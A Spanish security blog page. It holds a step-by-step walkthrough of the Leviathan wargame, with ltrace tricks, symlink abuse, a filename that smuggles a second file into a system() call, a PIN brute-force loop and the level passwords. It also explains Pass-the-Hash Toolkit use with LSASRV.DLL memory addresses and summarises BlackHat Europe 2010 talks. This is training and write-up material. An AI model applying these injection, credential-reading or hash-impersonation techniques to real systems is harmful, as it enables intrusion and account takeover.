lunes, 26 de abril de 2010

Leviathan Wargame

Hace unos días leíamos en el Twitter de RoMaNSoFt sobre la existencia de una serie de retos de seguridad en la web Intruded.Net que consisten en que se nos da la shell del primer nivel y tenemos que ir escalando al usuario de nivel superior hasta que completamos todas las fases del reto.

Siempre me han encantado los Wargames/Retos Hacking, especialmente aquellos en los que oigo a alguien decir que son muy difíciles, o por contra, que son muy fáciles y se pueden sacar en muy poco tiempo, porque me pican a ver si yo soy capaz de sacarlo tan rápido o, sencillamente si soy capaz de sacarlo. En este caso, este Twitt concreto hablaba de Leviathan, el Wargame más sencillo de los que hay en la web, del cual sus creadores dicen lo siguiente:

"Este wargame no requiere ningún conocimiento sobre programación - solo un poco de sentido común y algún conocimiento sobre los comandos básicos de *nix."

No está mal, es un Wargame que puede resultar muy interesante para aquellas personas que les gusta la seguridad, pero que por contra no tienen conocimientos de programación y/o reversing.

En este caso, este Wargame se basa en la existencia de algunos binarios con suid a los que les debes encontrar algún tipo de fallo que te permita acceder a un fichero .passwd que existe en el home del usuario propietario del binario, y que contiene la contraseña para el siguiente nivel. Por ejemplo, en /home/level1/.passwd está contenida la contraseña del nivel 1, y el resto de contraseñas están en ficheros idénticos en sus respectivos home's.

El Wargame, como dice RoMaNSoFt, es sencillo pero divertido, así que lo recomiendamos a todos aquellos a los que les gusten este tipo de retos, tengan el nivel que tengan. Para aquellos a los que les cueste algún nivel, o sencillamente para los que no tengan tiempo de ponerse a resolverlos pero que les gustaría saber que tipo de fallos tenían los binarios, escribimos a continuación nuestras soluciones a los retos, así que si tienes la intención de intentarlo por ti mismo... PARA DE LEER AQUÍ!!



Inténtalo al menos, no? :P



Para...



Para!!!



QUE PARES!!!!



Ok, tú lo has querido, aquí están nuestras soluciones, en las que podeis ver en negrita los comandos o entradas que debe introducir el usuario:


Solución al nivel 1

La contraseña para entrar con el usuario level1 la tenemos en la web de incio del reto, así que usando esos datos conectamos a la máquina:


$ ssh -p 10101 level1@leviathan.intruded.net
*******************************************
* Welcome to Intruded.net Wargame Server
*
* * You are playing "Leviathan"
* * Most levels can be found in /wargame
* * Login: level1:leviathan
* * Support: irc.intruded.net #wargames
*
*
* ! Server is restarted every 12 hours
* ! Server is cleaned every reboot
* ! /tmp direcotry is writable
*
*******************************************

Nada más empezar nos dice que la mayoría de niveles puede encontrarse en /wargame, así que vamos a pegarle un vistazo al directorio a ver que nos encontramos:

$ ls -la /wargame/
total 48
drwxr-xr-x 2 root root 4096 2008-03-26 02:41 .
drwxr-xr-x 22 root root 4096 2008-03-26 02:54 ..
-r-sr-s--- 1 level3 level2 7738 2008-03-26 02:31 check
-r-sr-s--- 1 level5 level4 8090 2008-03-26 02:33 level4
-r-sr-s--- 1 level7 level6 7696 2008-03-26 02:34 printfile
-r-sr-s--- 1 level4 level3 8051 2008-03-26 02:51 prog
-r-sr-s--- 1 level8 level7 7661 2008-03-26 02:35 sphinx

Como comentábamos antes, parece que tenemos unos cuantos binarios con el bit suid activo que va a permitir ejecutar algo al usuario levelX con los privilegios del usuario levelX+1. Sin embargo, hay dos casos para los que no tenemos binario en este directorio, en el level1 (en el que nos encontramos) y en el level5.

Bueno, si no tenemos nada en este directorio, vamos a ver que es lo que hay en el home del usuario level1:

$ ls -la
total 28
drwx------ 3 level1 level1 4096 2008-03-26 02:12 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
drwxr-xr-x 2 root level1 4096 2008-03-26 02:22 .backup
-rw-r--r-- 1 root root 0 2008-03-26 02:08 .bash_history
-rw-r--r-- 1 root root 220 2008-03-25 22:24 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-25 22:24 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-25 22:24 .bashrc
-rw-r--r-- 1 root root 10 2008-03-26 01:53 .passwd

Así a primer vistazo, ese directorio .backup parece intesante. Si miramos dentro nos encontramos con un fichero bookmarks.html donde tenemos el backup de la lista de favoritos de un navegador. Parece que hay muchos enlaces, quizá demasiados para revisarlos uno por uno:

$ cat bookmarks.html | wc -l
1399

Ufff, demasiados como para revisar a mano, pero quizá si buscamos algunas palabras claves como "level", "password" o similar obtengamos algún resultado interesante:

$ cat bookmarks.html | grep -i pass
[...]http://www.goshen.edu/art/ed/teachem.htm[...]password to level2

¿Una web con título "password to level2"? No puede ser tan fácil, ¿o sí?


Contraseña Nivel2: vFPMNdI0


Solución al nivel 2

Si nos acordamos de los binarios que vimos en /wargame, recordaremos que existía un binario "check" que podría permitirnos el paso al nivel 3, así que lo primero que hacemos es pegarle un vistazo al binario a ver que hace:

$ cd /wargame
$ ./check
password: PATATA
Wrong password, Good Bye ...

Parece que vamos a tener que acertar con una palabra secreta que nos dará algún tipo de acceso a la contraseña del nivel superior. Evidentemente podríamos conger el binario y desensamblarlo, a ver que hace, pero vamos a optar por algo más sencillo e inmediato, que en muchas ocasiones nos va a dar buenos resultados. Para ello utilizaremos las herramientas *trace existentes en los sistemas Linux, que nos permiten hacer una traza de la ejecución de un binario, bien sea a nivel de llamadas del sistema, procesos, llamadas a librerías, etc, dependiendo de la herramienta concreta que escojamos. En este caso, el que mejor resultado nos puede dar es ltrace, ya que presumiblemente una comparación de cadenas será realizada con funciones típicas como strcmp, para las cuales se realizará una llamada a la librería correspondiente:

$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530
printf("password: ") = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: PATATA
) = 80
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 65
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 84
strcmp("PAT", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 29) +++

¡Bingo! Si os fijais en la traza, vemos una llamada a strcmp("PAT", "sex"), que nos muetra que los tres primeros caracteres de la cadena que hemos introducido están siendo comparados con la palabra "sex", y da resultado negativo (-1) ¿Qué pasa si introducimos la cadena "sex" como contraseña? Es fácil de imaginar, vamos a obtener una shell con privilegios del usuario level3 con la que podremos acceder al fichero .passwd en el que contiene la contraseña para el siguiente nivel:

$ ./check
password: sex

sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)

sh-3.1$ cat /home/level3/.passwd
oc7vaCOg

Contraseña Nivel3: oc7vaCOg


Solución al nivel 3

Si volvemos a los binarios que vimos en /wargame, existe un binario "prog" que tiene idénticas características al que utilizamos para conseguir el pase a este nivel. Vamos a pegarle un vistazo a ver que hace:

$ ./prog
Cannot find /tmp/file.log

$ echo PATATA > /tmp/file.log

$ ./prog
PATATA

Vale, parece que el binario lee el contenido del fichero /tmp/file.log empleando los privilegios del usuario del siguiente nivel, así que si conseguieramos que lea de /home/level4/.passwd en lugar de /tmp/file.log tendremos nuestra contraseña, así que... ¿Qué tal si creamos un enlace simbólico en /tmp/file.log que apunte a /home/level4/.passwd?

$ ln -s /home/level4/.passwd /tmp/file.log

$ ./prog
R0gBtSP5

¡Ya lo tenemos!

Contraseña Nivel4: R0gBtSP5


Solución al nivel 4

El nivel 4 es muy parecido al nivel 2, tenemos un binario "level4" que nos pide una contraseña que en principio nos proporcionará algún tipo de acceso a los privilegios de level5. Si repetimos la traza que hicimos con el nivel 2, podemos buscar de la misma manera las llamadas a strcmp:

$ ./level4
Enter the password> PATATA
bzzzzzzzzap. WRONG

$ ltrace ./level4
__libc_start_main(0x8048523, 1, 0xbffffac4, 0x8048650, 0x8048600
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> PATATA
"PATATA\n", 256, 0xb7fe1300) = 0xbffff8dd
strcmp("PATATA\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++

Como podemos ver, en este caso la cadena con la que se compara es "snlprintf", así que solo tenemos que llamar nuevamente al binario con esa contraseña para obtener el acceso, y de ahí obtener la contraseña al siguiente nivel:

$ ./level4
Enter the password> snlprintf
[You've got shell]!

$ id
uid=1003(level4) gid=1003(level4) euid=1004(level5) groups=1003(level4)

$ cat /home/level5/.passwd
Dx08I4vD

¡Uno menos! ¡A por el siguiente!

Contraseña Nivel5: Dx08I4vD


Solución al Nivel 5

Tras no encontrar ningún binario que nos sirve para pasar al nivel 6 en el directorio /wargame, pegamos un vistazo al home del usuario level5, y nos encontramos un directorio ".Trash" que contiene un binario "bin" con las mismas características que los binarios existentes en /wargame:

$ ls -la
total 28
drwx------ 3 level5 level5 4096 2008-03-26 02:41 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
-rw-r--r-- 1 root root 0 2008-03-26 02:09 .bash_history
-rw-r--r-- 1 root root 220 2008-03-26 01:54 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-26 01:54 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-26 01:54 .bashrc
-rw-r--r-- 1 root root 9 2008-03-26 01:55 .passwd
drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .Trash

$ cd .Trash/
$ ls -la
total 16
drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .
drwx------ 3 level5 level5 4096 2008-03-26 02:41 ..
-r-sr-s--- 1 level6 level5 7519 2008-03-26 02:34 bin

Como en el resto de ocasiones, vamos a ejecutar el binario a ver que es lo que hace:

$ ./bin
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010

No nos pide ningún tipo de entrada, así que probablemente está sacando esto que nos enseña de algún fichero cuya ruta tiene en el interior del código, al igual que pasaba con el nivel 3. Vamos a hacerle un pequeño ltrace al binario a ver que fichero está abriendo:

$ ltrace ./bin
__libc_start_main(0x80483e4, 1, 0xbffffac4, 0x8048530, 0x80484e0
fopen("/home/level6/.passwd", "r")

¡Vaya! Parece que no nos va a hacer falta hacer ningún tipo de trampeo, ya que está sacando esta información que nos muestra precisamente del fichero que guarda la contraseña del siguiente nivel. El único problema es que nos la está mostrando en formato binario, pero eso buscando en Google algún conversor se arregla fácilmente:


Contraseña Nivel6: 6lyvLXCA


Solución al Nivel 6


Para pasar al nivel 7 esta vez tenemos que "destripar" un binario llamado printfile, cuyo nombre ya nos hace pensar que pasar este nivel va a ser parecido a pasar el nivel 3. Veamos lo que hace este binario:

$ ./printfile
*** File Printer ***
Usage: ./printfile filename

Mmmmm, ¿Nos deja pasarle el nombre del fichero? No puede ser tan fácil:

$ ./printfile /home/level7/.passwd
You cant have that file...

Era demasiado bonito para ser verdad, pero todavía no está todo perdido, vamos a crear un fichero accesible y trazar a ver como funciona:

$ echo PATATA > /tmp/myfile
$ ./printfile /tmp/myfile
PATATA

$ ltrace ./printfile /tmp/myfile
__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520
access("/tmp/myfile", 0) = 0
snprintf("/bin/cat /tmp/myfile", 511, "/bin/cat %s", "/tmp/myfile") = 20
system("/bin/cat /tmp/myfile"PATATA

--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++

Parece ser que el binario realiza en primer lugar una llamada a la función "access" para comprobar los permisos del fichero que queremos abrir, y posteriormente contruye una cadena que realiza un "cat nuestra_entrada", claramente vulnerable a injección de comandos. El problema que tenemos es que sea cual sea la entrada que le pongamos (con la inyección de comandos incluida), debe existir un fichero con ese mismo nombre, para que dicho control no sea efectivo.

Después de algunas pruebas, y de comprobar que el caracter / nos daba algunos problemas, vimos que la solución era crear un fichero cuyo nombre contuviera un espacio seguido del nombre del fichero .passwd del siguiente nivel, así podriamos hacer bypass de la función access, puesto que dicho fichero existe, pero al formar la cadena con la que se llama a system nos quedaría algo así como "cat file .passwd", con lo que el primero nos devolverá un error (no existe) pero el contenido del segundo nos será mostrado. Veamoslo:

$ cd /tmp
$ ln -s /home/level7/.passwd symlink
$ echo PATATA > "myfile symlink"
$ /wargame/printfile "myfile symlink"
/bin/cat: myfile: No such file or directory
X98ZdPfp

Contraseña Nivel7: X98ZdPfp


Solución al Nivel 7

Llegamos al séptimo y último nivel, en el que tenemos un binario "sphinx" del que, antes de nada, tendremos que averiguar que hace exactamente. Repitiendo los pasos que hemos realizado para resolver en los anteriores niveles, trazamos su ejecución a ver que nos encontramos:

$ ./sphinx
usage: ./sphinx <4>

$ ./sphinx 1234
Wrong

$ ltrace ./sphinx 1234
__libc_start_main(0x8048464, 2, 0xbffffac4, 0x8048550, 0x8048500
atoi(0xbffffbd3, 0x8049714, 0xbffffa28, 0x8048321, 0xbffffa50) = 1234
puts("Wrong"Wrong
) = 6
+++ exited (status 6) +++

Como podemos ver, no parece que el binario realice muchas llamadas, pero entre ellas sí que nos llama la atención una llamada a la función "atoi" ("ascii to integer"), con la que se convierte la cadena de texto que hemos introducido ("1234") a su entero correspondiente (1234). Probablemente la comparación con el PIN que nos va a permitir pasar este último nivel no se realiza como comparación de dos cadenas, sino como una simple comparación de dos enteros dentro de una sentencia "if", lo cual es un problema a la hora de realizar la traza, puesto que no se realiza ninguna llamada externa y por tanto no podemos averiguar con este método cual es el PIN secreto.

La manera más inmediata de hacerlo sería desensamblar el binario y buscar exactamente que comparaciones hace tras llamar a "atoi", pero siento el PIN un número entero de 4 digítios tal y como se nos indica en el binario, casi que no merece la pena hacer ningún tipo de desensamblado, ya que podemos recorrer todas las posibles soluciones y comprobar sus resultados mediante un ataque de fuerza bruta en un tiempo muy acotado. En este caso, yo lo he hecho con este pequeño shellscript, aunque seguro que hay formas más eficientes de hacerlo:

$ time for a in 0 1 2 3 4 5 6 7 8 9
do
for b in 0 1 2 3 4 5 6 7 8 9
do
for c in 0 1 2 3 4 5 6 7 8 9
do
for d in 0 1 2 3 4 5 6 7 8 9
do
./sphinx $a$b$c$d | grep -i wrong &>/dev/null
if [ $? -ne 0 ]
then
echo $a$b$c$d
fi
done
done
done
done
sh-3.1$ exit
exit
7123

real 1m12.020s
user 0m3.768s
sys 1m4.100s

¡BINGO! Ya lo tenemos. La ejecución se ha quedado parada en la clave "7123", momento en el cual nos ha devuelto una shell, que hemos cerrado inmediatamente para ver cuanto tiempo nos ha costado realizar un ataque de fuerza bruta contra todos los posibles PINs. En este caso, como podemos ver, poco más de 1 minuto. Una vez que tenemos el PIN del binario ya solo tenemos que usarlo para conseguir la contraseña del último nivel:

$ ./sphinx 7123
sh-3.1$
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)
sh-3.1$
sh-3.1$ cat /home/level8/.passwd
FsnC0xl7

Contraseña Nivel8: FsnC0xl7

Una vez que llegamos al nivel 8 ya no existen más binarios, es el último nivel. Lo único que tenemos es un fichero de texto que nos da la enhorabuena por haber superado todos los niveles del reto:


¿Qué me decís?
¿Lo habeis probado?
¿Qué os ha parecido?
¿Alguna otra manera de resolver alguno de los retos?

A mi personalmente me ha parecido un reto divertido, suficientemente divertido como para pegarle un ojo al resto de retos que hay en la misma web ;)

miércoles, 21 de abril de 2010

Pass-the-hash Toolkit & IDA Pro

Hace unas semanas publicamos un post sobre la presentación que hicimos en las Conferencias FIST de Barcelona, en las que explicamos técnicas de post-explotación en sistemas Windows, entre ellas las técnicas conocidas como Pass-the-Hash.

En ese post, se nos hizo un comentario sobre los argumentos con los que llamábamos a las diferentes herramientas que forman parte del Pass-the-Hash Toolkit. A pesar de que la pregunta fue respondida brevemente en otro comentario, hemos considerado oportuno escribir otro post centrándonos en este Toolkit, sus diferentes herramientas, y de que forma podemos llamarlo para obtener de él los resultados esperados.

Entramos al trapo!:

El Pass-the-Hash Toolkit consta principalmente de 2 binarios/herramientas:
  • WHOSTHERE.EXE: Consulta en la memoria los hashes de los usuarios autenticados en el sistema. Muy útil para saber si estamos utilizando las direcciones de memoria correctas o si hemos cambiado el hash correctamente.
  • IAM.EXE: Sobreescribe en la memoria el hash de nuestro usuario actual por el hash al que queremos suplantar, lo cual nos convierte a todos los efectos en ese usuario de cara al resto de elementos de la red.
Ambas herramientas acceden a la memoria, concretamente a la librería LSASRV.DLL, para leer o escribir (respectivamente) la información relacionada con los usuarios autenticados y sus respectivos hashes. Esta información, sin embargo, no siempre está disponible en la misma dirección de memoria, ya que puede variar en función de la versión de Windows, Service Pack, etc.

Para contrarrestar esta dificultad, el Pass-the-Hash Toolkit implementa un método heurístico con el que intenta buscar en la memoria estos elementos por si mismo. Sin embargo, se ha podido comprobar que dicha heurística no encuentra siempre correctamente estas direcciones. Por ello, Hernán Ochoa, desarrollador de la herramienta, pone a nuestra disposición la opción "-h", con la que podemos pasarla a la herramienta de forma manual las direcciones de memoria adecuadas, con los que la herramienta nos proporciona la flexibilidad necesaria como para que pueda funcionar en cualquier tipo de sistema.

Durante la demo que hicimos en las Conferencias FIST de Barcelona, disponíamos de un dichero XPSpanish.txt en el que teníamos guardadas estas direcciones de memoria, que habíamos obtenido previamente:

75403BA0:753EFDEC:75480C98:75480CA0:7547FC60:7547FE54

Estas mismas direcciones deberían ser válidas para cualquier sistema Windows XP SP3 en Español, pero por si queréis probarlas con otros idiomas, otro Service Pack, o cualquier caso, vamos a detallar como hemos obtenido estas direcciones.

En realidad, al contrario de lo que se pueda pensar, no vamos a tener que pegarnos con el ensamblador ni ser unos gurús del reversing para obtener estas direcciones, ya que Hernán Ochoa ha creado para nosotros un "script" para IDA Pro (podéis descargaros la versión Free) que nos va a permitir obtener dichas direcciones de forma totalmente automática.

Dicho "script" lo podemos obtener únicamente de la versión "source code" de la herramienta, por lo que deberemos descargarla a pesar de que no vayamos a modificar código fuente. Tras descomprimir el TGZ entraremos en el directorio "iam", y dentro de él en el directorio "idc", dentro del cual veremos que existe un dichero "passthehash.idc". Los ficheros IDC contienen un código de scripting para IDA que nos permite automatizar algunas tareas.

Ejecutamos la herramienta IDA Pro Free y lo primero que tenemos que hacer es cargar la librería LSASRV.DLL para análisis. Para ello seleccionamos "New" en la primera ventana que nos aparece y elegimos la opción "PE Dynamic Library", ya que lo que queremos desensamblar es una librería:


Una vez hecho esto tendremos que elegir que librería queremos desensamblar. La librería que queremos nosotros está en C:\WINDOWS\SYSTEM32\lsasrv.dll :


Tras seleccionar la librería, IDA nos dará varias opciones para afinar como queremos que haga el análisis. En realidad, es indiferente que elijamos para esta ocasión, podemos dejarlas todas por defecto o podemos desmarcarlas todas hasta llegar a una ventana en la que se nos pregunta si queremos cargar los símbolos del sistema. En esta ventana es importante que seleccionemos SI, ya que sino el IDC no va a funcionar correctamente. El binario se cargará en unos segundo y nos mostrará una ventana como esta:


Ahora que ya tenemos la librería desensamblada solo tenemos que cargar el IDC dándole al menú "File" y eligiendo la opción "IDC File", con la que podremos buscar el fichero IDC que previamente habíamos obtenido (passthehash.idc). Instantáneamente tras cargar el script nos salen en la ventana inferior del IDA unas lineas que comienzan por "#define" de las que podemos sacar las direcciones que necesitamos:


Bueno, ya hemos obtenido las direcciones con las que podremos utilizar el Pass-the-Hash Toolkit sobre el sistema sobre el que hemos utilizado IDA o, en general, en cualquier sistema en general, aunque en cualquier caso se recomienda utilizar siempre primero whosthere.exe para comprobar que estamos usando las direcciones correctas, ya que iam.exe altera la memoria del proceso y podría provocar inestabilidad en el mismo si dichas direcciones no son correctas.

Para más información sobre como utilizar Pass-The-Hash Toolkit os remitimos al post que pusimos sobre las Conferencias FIST.

lunes, 19 de abril de 2010

BlackHat Europe 2010 - Barcelona

Tal y como ya anunciamos, la semana pasada estuvimos por Barcelona los días 14 y 15 para asitir a la edición Europea de una de las conferencias de seguridad más conocidas del mundo: Las Conferencias BlackHat.


La verdad es que las conferencias no me defraudaron en absoluto, desde el KeyNote inicial de Max Kelly, CSO de FaceBook, ya se huele la vertiente técnica que tanto nos apasiona en todo lo que rodea a las BlackHat. Para empezar, nos quedamos con una frase para el recuerdo de la presentación de Max Kelly que nos vais a permitir que pongamos en mayusculas y bien centradita:

COMPLIANCE ISN'T SECURITY
(Cumplimiento no es Seguridad)

Me encanta! Me hubiera gustado tener esta cita firmada por una persona de tanto peso hace tiempo para rebatir a algún que otro responsable que he tenido en el pasado. Seguro que más de uno también le hubiera venido bien :)

Tras el KeyNote inicial nos encontramos ante la difícil decisión de elegir a que charlas vamos a asistir, ya que las tres salas simultaneas con su impresionante schedule de alto contenido técnico te dejan con las ganas de poderte "desdoblar" y asistir a todas ellas. Si no somos capaces de hacer algo así no nos quedará más remedio que elegir con algún tipo de criterio. Si vas por tu cuenta nosotros recomendamos elegir aquellas que pienses que pueden resultarte más difíciles de entender y que por tanto te va a venir bien ver la explicación en directo y poder hacer preguntas (las otras, a mirar el paper). Si te ha mandado tu empresa seguramente llevarás un planning más o menos estricto de las conferencias que interesan más a tu empresa o a tu equipo, así que un quebradero de cabeza menos, ya que al final, vayas a lo que vayas, va a ser de altísima calidad.

Pues vale, ya tenemos las conferencias a las que queremos asistir elegidas, así que llega el momento de ir arriba y abajo cambiando de sala, cruzandote con personas conocidas del mundo de la seguirdad como Lorenzo Martinez de SecurityByDefault, Chema Alonso (aka El Maligno), los Sexy Pandas, representación de Taddong, los chicos de TB-Security y un largo etcetera.

Esta fue, mejor o peor, nuestra elección, que pasamos a comentar de forma resumida por no hacer de este un post interminable:

  1. "Hardware is the New Software" (Joe Grand): Hoy en día las empresas más importantes son plenamente conscientes (aunque a veces no lo parezca) del peligro que representa el software y los fallos asociados al mismo. De desarrollan herramientas y se dedican recursos a la auditoría de software. Pero... ¿qué pasa con el hardware? En esta charla Joe nos hizo ver lo descuidada que está la seguridad de dispositivos hardware, que al final no deja de ser lo mismo que el software solo que en dispositivos empotrados por medio de microcontroladores y circuitos, pero que igualmente se les puede realizar la ingeniería inversa y encontrar vulnerabilidades al igual que se realiza con sus equivalentes software. El equipo necesario, al contrario de lo que se pueda pensar, no resulta tan caro, lo cual abre la puerta a este mundo tan poco explorado y, por tanto, peligroso. ¿Ejemplos? Cajeros automáticos, Tarjetas de Parking, Sistemas de Voto electrónico, ... !Atención empresas! Más información.


  2. "Security in depth for Linux Software" (Julien Tinnes & Chris Evans): En esta charla, Julien y Chris nos dieron un buen repaso sobre las diferentes técnicas mediantes las cuales se puede implementar SandBoxing en Sistemas Linux como medida de mitigación del impacto ante la explotación de vulnerabilidades en el software. Evidentemente, tras explotar una vulnerabilidad, el impacto va a ser directamente proporcional a los privilegios de que disponga el proceso que se encontraba ejecutando el software vulnerable, de tal forma que explotar una vulnerabilidad de un software ejecutado en un proceso que no tiene privilegios para acceder a disco, red, memoria ni ejecutar nada puede ser completamente inútil. Con esta idea surge este concepto de SandBoxing, basado en el concepto de mínimo privilegio. A lo largo de la presentación, Julien y Chris nos hicieron un repaso sobre las diferentes técnicas que se pueden emplear para realizar SandBoxing en Linux (según ellos no muy dotado para ello), ilustrado mediante dos ejemplos de software que utilizan estas técnicas: vsftpd y Chromium (lógico viniendo de dos empleados de Google). RECOMIENDO mucho la lectura en profundidad de este paper a aquellos que realicen desarrollo de software sobre sistemas Linux y que quieran mejorar la seguridad de sus desarrollos. Más información en esta presentación que hicieron para otra conferencia en Malasia, pero que es idéntica.

  3. "Verifying eMRTD Security Controls" (Raoul D'Costa): Interesante conferencia sobre las medidas de seguridad empleadas por los ePassport que nos recordó a una que dio Adam Laurie en las SOURCE el pasado año. La charla fue interesante, pero hemos de reconocer que nos faltó algún tipo de demostración práctica como la que hizo Adam, al que pudimos ver en vivo clonando y falsificando pasaportes electrónicos.

  4. "SCADA & ICS for Security Experts" (James Arlen): Lamentamos decir esto, pero floja, muy floja, flojíiiiiisima conferencia de James Arlen sobre SCADA. Una impresión compartida por todos los que asistimos allí pensando en que nos hablarían de seguridad técnica en sistemas SCADA (algo muy interesante) pero que acabamos viendo como la conferencia se limitó a decir que los sistemas SCADA de verdad son los realmente grandes y que esos es IMPOSIBLE (fue muy osado al decirlo, la verdad) que sufran un ciberataque, aunque bueno, también dijo que los SCADA de una central nuclear no eran verdaderos sistemas scada, así que... Sin comentarios.

  5. "Attacking Java Serialized Communication" (Manish Saindane): En esta conferencia se presentaba una serie de herramientas que podían ser utilizadas en combinación con BurpProxy para realizar auditoría sobre las Serialized Communication de Java. Las Serialized Communications de Java envían un objeto Java completo convertido en una secuencia de bytes en hexadecimal desde un cliente hasta un servidor. La utilización de este medio de transmisión dificulta el proceso de auditoría, ya que nos vemos obligados a editar directamente esta secuencia para intentar averiguar si a través de alguno de los parámetros del objeto podemos encontrar vulnerabilidades en el software. Para evitar la edición en hexadecimal, se ha desarrollado un script en Ruby que instalado adecuadamente junto al conocido Burp Proxy puede ayudarnos a editar cada uno de los campos de un objeto de forma mucho más sencilla, ya que realiza de forma automática la transformación de cadena de hexadecimales a objeto y viceversa tras ser modificado. Podemos descargar el software de este enlace u obtener más información sobre su proceso de instalación en el blog del ponente. Más información.


  6. "Binding the Daemon: FreeBSD Stack & Heap Exploitation" (Patroklos Argyroudis): Me encantó esta conferencia. En general las conferencias y charlas sobre exploiting siempre me gustan, pero la verdad es que fue interesante ver las opciones que tenemos para realizar un Stack o Heap Overflow en un sistema FreeBSD, mucho menos investigado de los sistemas Windows o Linux a pesar de ser uno de los principalmente utilizados como servidores web en Internet. Todo perfectamente explicado y con demostraciones de elevación de privilegios totalmente "reliables", es decir, con payloads hechos a medida para evitar inestabilidades en el sistema. Me gustó especialmente una vulnerabilidad en una de las funciones a las que se llama para montar particiones, un sprintf de un "La opción %s no existe" a un buffer de error de solo 255 caracteres, todo un clásico, increible que siga ocurriendo en la actualidad. Muy recomendado para todos aquellos apasionados del exploiting. Os paso el blog del ponente, aunque aún no ha publicado nada.

  7. "Abusing JBoss" (Chistian Papathanasiou): La verdad es que esta charla no fue como la esperabamos. Por lo que se comentó a la salida con otros asistentes, todos esperabamos algún tipo de técnicas o fallos de seguridad de desarrollos, implantaciones o instalaciones por defecto de JBoss, pero realmente lo que nos encontramos fue una pequeña herramienta desarrollada por el ponente que servía para automatizar la explotación de entornos JBoss y Tomcat que tienen disponible su panel de administración con contraseña por defecto. Para estos sistemas, la herramienta realizaba una serie de acciones que nos llevaba a tomar el control de la máquina por medio del despliegue de un JSP-Shell que nos permitía a su vez subir un payload de Metasploit como pueda ser Meterpreter, VNC o un simple Bind_TCP, y ejecutarlo, tomando de esta manera control de la máquina. La herramienta me parece útil, no por su complejidad técnica, que es realmente poca, sino porque es una herramienta que te permite automátizar el proceso de explotación y hacerlo más rápido, algo muy útil si nos encontramos con este tipo de vulnerabilidades en un gran número de máquinas. En cualquier caso, la aportación, aunque existe, no parecía estar a la altura de otras ponencias que se vieron en estas conferencias. Más información.

  8. "Targeted Attacks: From being a victim to counter attacking" (Andrzej Dereszowski): Esta fue otra de nuestras favoritas. En esta ponencia, Andrzej nos mostró como realizar el proceso de "contra-ataque" ante un intento de ataque dirigido contra nuestra empresa. En este caso, el método elegido por el atacante contra nosotros fue un PDF que explotaba una vulnerabilidad de Acrobat Reader y que fue enviado a los buzones de correo de la organización. Tras analizar el PDF se pudo obtener el payload que ejecutaba y analizar, encontrándose la existencia en él de un conocido BackDoor llamado "Poison Ivy". Tras un análisis con sus correspondientes técnicas de ocultación del debugger, se obtuvo la dirección a la que conecta dicho BackDoor, con lo que obteniamos un objetivo contra el que contra-atacar. Ahora que sabemos que el atacante está corriendo en una IP que acabamos de obtener de hacer Reverse Engineering del troyano una versión cliente del software "Poison Ivy", solo tenemos que encontrar alguna vulnerabilidad en dicho software que nos permita tomar a nosotros el control de la máquina del atacante. Por medio de técnicas de Fuzzing, Andrzej encuentra una vulnerabilidad y desarrolla un exploit con el que poder conseguir visibilidad sobre las acciones del atacante pero sin provocar el cierre del software vulnerable, de tal forma que el acatante no se entere de nada. Una vez dentro, nos enseño unas capturas que hizo de consolas de administración de este BackDoor en las que se veían todas las máquinas comprometidas. Sencillamente genial, sin duda ilegal, pero sencillamente genial :)


  9. "0-Knowledge Fuzzing" (Vincenzo Lozzo): A pesar de que es una nueva técnica y aún no se han obtenido resultados en forma de vulnerabilidades descubiertas, me pareció un concepto muy interesante el de Vicenzo Lozzo y su manera de utilizar un lenguaje intermedio como REIL para a partir de ahí seleccionar las funciones interesantes y realizar sobre ellas un in-memory fuzzing. Esta última técnica consiste en la modificación del contenido de las variables, no en su entrada a la aplicación, en la que tenemos que guardar un formato concreto, sino directamente en la memoria. Presumiblemente esta es una aproximación que debería dar muchos mejores resultados que un dumb-fuzzing y de una forma mucho más eficiente y exahustiva que un smart-fuzzing. Sin embargo, por lo que comentó el propio Vincenzo, por el momento la tasa de falsos positivos es alta. Sin duda una técnica a la que merece la pena hacerle un seguimiento a ver como va madurando con el tiempo. Os recomiendo pegarle un vistazo al paper y a la presentación.


  10. "Virtual Forensics" (Christiaan Beek): Elegimos esta charla porque sin duda cada vez se ve más virtualización por todas partes. Mejor o peor implementada (hay cada sitio...), pero sin duda es una tecnología muy desplegada por la cantidad de posibilidades que tiene. Sin embargo, no todo son ventajas, ya que estas capas de virtualización puede dificultar la tarea de un Incident Handler o de un Investigador Forense a la hora de trazar una intrusión o algún otro tipo de incidente. La solución pasa por conocer en profundidad las tecnologías de virtualización más comunes y saber a donde debemos acudir para obtener la información deseada. En esta ponencia se comentó la virtualización empleada por los sistemas Citrix, VMWare y Windows 7 (que según parece lleva un sistema Virtual PC integrado para asegurar la compatibilidad con XP), así como los diferentes ficheros y registros interesantes que deberemos analizar para realizar una correcta gestión de un incidente. Referencia muy recomendable para todos aquellos Incident Handlers o Analistas Forenses.
Para más información, lo mejor es acudir a archivo de las conferencias y descargarse los papers originales, aunque para eso aún tendremos que esperar algunos días más.

De algunas de las cosas que vimos en las BlackHat, evidentemente, vamos a cacharrear y probablemente pongamos algún post en más profundidad.

sábado, 10 de abril de 2010

